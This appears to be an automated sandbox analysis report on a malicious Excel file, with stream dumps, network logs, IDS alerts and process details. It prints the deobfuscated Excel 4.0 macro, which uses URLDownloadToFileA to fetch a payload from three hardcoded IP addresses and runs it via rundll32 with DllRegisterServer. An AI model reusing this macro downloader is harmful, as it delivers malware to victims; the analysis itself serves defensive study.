Data ASCII:. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:cc 61 b2 00 00 03 00 ff 19 04 00 00 09 04 00 00 e3 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
Stream Path: VBA/dir, File Type: data, Stream Size: 1024
General
Stream Path:VBA/dir
File Type:data
Stream Size:1024
Entropy:6.73319737871
Base64 Encoded:True
Data ASCII:. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . V B A P r o j e . c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . . b . . . . . J < . . . . . r . s t d o l e > . . . s . t . d . o . . l . e . . . h . % . ^ . . * \\ G { 0 0 . 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . . E O f f D i c . E O . f . . i . . c . E . . . . . . . E . 2 D F 8 D 0 4 C . -
Data Raw:01 fc b3 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e3 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 be 20 84 62 0e 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Macro 4.0 Code

,,"=CONCATENATE(AG80,AH78,AG78,AG79)",,,,,,"=CONCATENATE(AG81,AH78,AG78,AG79)",,1,,,,"=CONCATENATE(AG82,AH78,AG78,AG79)",,9,,,,,,,"=ON.TIME(NOW()+""00:00:02"",""Grestes"")",,,.d,=NOW(),,,,,at,"=FORMULA(AG85&AG86&AG92,AI83)",,,,,"=""http://185.183.99.115/""",,,=HALT(),,,"=""http://51.89.73.159/""",,,,,,"=""http://190.14.37.38/""",,uRlMon,,,,,,,,,,,,JJCCBB,,,,"=""URLDo""",,Belandes,,,,"=""wnloadT""",,,,,,,=GOTO(Blodas!G6),,,,,,,..\Ladfge.VDGfwr,,,,,,,,,,,,,,,,,,,,,,"=""oFileA""",,,,
"=REGISTER(Nyukasl!AI82,Nyukasl!AI83,Nyukasl!AI84,Nyukasl!AI85,,Nyukasl!AI75,9)""=Belandes(0,Nyukasl!AG74,Nyukasl!AI88,0,0)""=IF(G12<0, Belandes(0,Nyukasl!AG75,Nyukasl!AI88,0,0))""=IF(G13<0, Belandes(0,Nyukasl!AG76,Nyukasl!AI88,0,0))""=IF(G14<0,CLOSE(0),)"=GOTO(Jioka!H4)
,"=""rund""",,"=""ll32 ..\Ladfge.VDGfwr,DllReg""","=""isterServer""",,,,,=PI()=EXEC(I7&I9&I10)=PI(),,,,=HALT(),

Network Behavior

Snort IDS Alerts

TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
05/04/21-19:26:00.089989TCP1201ATTACK-RESPONSES 403 Forbidden8049165185.183.99.115192.168.2.22
05/04/21-19:26:00.360496TCP1201ATTACK-RESPONSES 403 Forbidden804916651.89.73.159192.168.2.22
05/04/21-19:26:01.570693TCP1201ATTACK-RESPONSES 403 Forbidden8049167190.14.37.38192.168.2.22

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
May 4, 2021 19:25:59.746027946 CEST4916580192.168.2.22185.183.99.115
May 4, 2021 19:25:59.812657118 CEST8049165185.183.99.115192.168.2.22
May 4, 2021 19:25:59.813453913 CEST4916580192.168.2.22185.183.99.115
May 4, 2021 19:25:59.814398050 CEST4916580192.168.2.22185.183.99.115
May 4, 2021 19:25:59.881032944 CEST8049165185.183.99.115192.168.2.22
May 4, 2021 19:26:00.089988947 CEST8049165185.183.99.115192.168.2.22
May 4, 2021 19:26:00.090169907 CEST4916580192.168.2.22185.183.99.115
May 4, 2021 19:26:00.127552032 CEST4916680192.168.2.2251.89.73.159
May 4, 2021 19:26:00.170543909 CEST804916651.89.73.159192.168.2.22
May 4, 2021 19:26:00.170752048 CEST4916680192.168.2.2251.89.73.159
May 4, 2021 19:26:00.171719074 CEST4916680192.168.2.2251.89.73.159
May 4, 2021 19:26:00.214553118 CEST804916651.89.73.159192.168.2.22
May 4, 2021 19:26:00.360496044 CEST804916651.89.73.159192.168.2.22
May 4, 2021 19:26:00.360737085 CEST4916680192.168.2.2251.89.73.159
May 4, 2021 19:26:00.377401114 CEST4916780192.168.2.22190.14.37.38
May 4, 2021 19:26:00.589128017 CEST8049167190.14.37.38192.168.2.22
May 4, 2021 19:26:00.589314938 CEST4916780192.168.2.22190.14.37.38
May 4, 2021 19:26:00.589941025 CEST4916780192.168.2.22190.14.37.38
May 4, 2021 19:26:00.802082062 CEST8049167190.14.37.38192.168.2.22
May 4, 2021 19:26:01.570693016 CEST8049167190.14.37.38192.168.2.22
May 4, 2021 19:26:01.570913076 CEST4916780192.168.2.22190.14.37.38
May 4, 2021 19:27:05.089607000 CEST8049165185.183.99.115192.168.2.22
May 4, 2021 19:27:05.089906931 CEST4916580192.168.2.22185.183.99.115
May 4, 2021 19:27:05.362288952 CEST804916651.89.73.159192.168.2.22
May 4, 2021 19:27:05.362497091 CEST4916680192.168.2.2251.89.73.159
May 4, 2021 19:27:06.571492910 CEST8049167190.14.37.38192.168.2.22
May 4, 2021 19:27:06.571708918 CEST4916780192.168.2.22190.14.37.38
May 4, 2021 19:27:59.663767099 CEST4916780192.168.2.22190.14.37.38
May 4, 2021 19:27:59.663816929 CEST4916680192.168.2.2251.89.73.159
May 4, 2021 19:27:59.663855076 CEST4916580192.168.2.22185.183.99.115
May 4, 2021 19:27:59.706576109 CEST804916651.89.73.159192.168.2.22
May 4, 2021 19:27:59.730501890 CEST8049165185.183.99.115192.168.2.22
May 4, 2021 19:27:59.887609959 CEST8049167190.14.37.38192.168.2.22

HTTP Request Dependency Graph

  • 185.183.99.115
  • 51.89.73.159
  • 190.14.37.38

HTTP Packets

Session IDSource IPSource PortDestination IPDestination PortProcess
0192.168.2.2249165185.183.99.11580C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
TimestampkBytes transferredDirectionData
May 4, 2021 19:25:59.814398050 CEST0OUTGET /44313,6048108796.dat HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 185.183.99.115
Connection: Keep-Alive
May 4, 2021 19:26:00.089988947 CEST1INHTTP/1.1 403 Forbidden
Server: nginx
Date: Tue, 04 May 2021 17:26:03 GMT
Content-Type: text/html
Content-Length: 548
Connection: keep-alive
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


Session IDSource IPSource PortDestination IPDestination PortProcess
1192.168.2.224916651.89.73.15980C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
TimestampkBytes transferredDirectionData
May 4, 2021 19:26:00.171719074 CEST1OUTGET /44313,6048108796.dat HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 51.89.73.159
Connection: Keep-Alive
May 4, 2021 19:26:00.360496044 CEST2INHTTP/1.1 403 Forbidden
Server: nginx
Date: Tue, 04 May 2021 17:22:30 GMT
Content-Type: text/html
Content-Length: 548
Connection: keep-alive
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


Session IDSource IPSource PortDestination IPDestination PortProcess
2192.168.2.2249167190.14.37.3880C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
TimestampkBytes transferredDirectionData
May 4, 2021 19:26:00.589941025 CEST3OUTGET /44313,6048108796.dat HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 190.14.37.38
Connection: Keep-Alive
May 4, 2021 19:26:01.570693016 CEST4INHTTP/1.1 403 Forbidden
Server: nginx
Date: Tue, 04 May 2021 17:26:01 GMT
Content-Type: text/html
Content-Length: 548
Connection: keep-alive
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

General

Start time:19:25:37
Start date:04/05/2021
Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):false
Commandline:'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:0x13f430000
File size:27641504 bytes
MD5 hash:5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high

Disassembly

Reset < >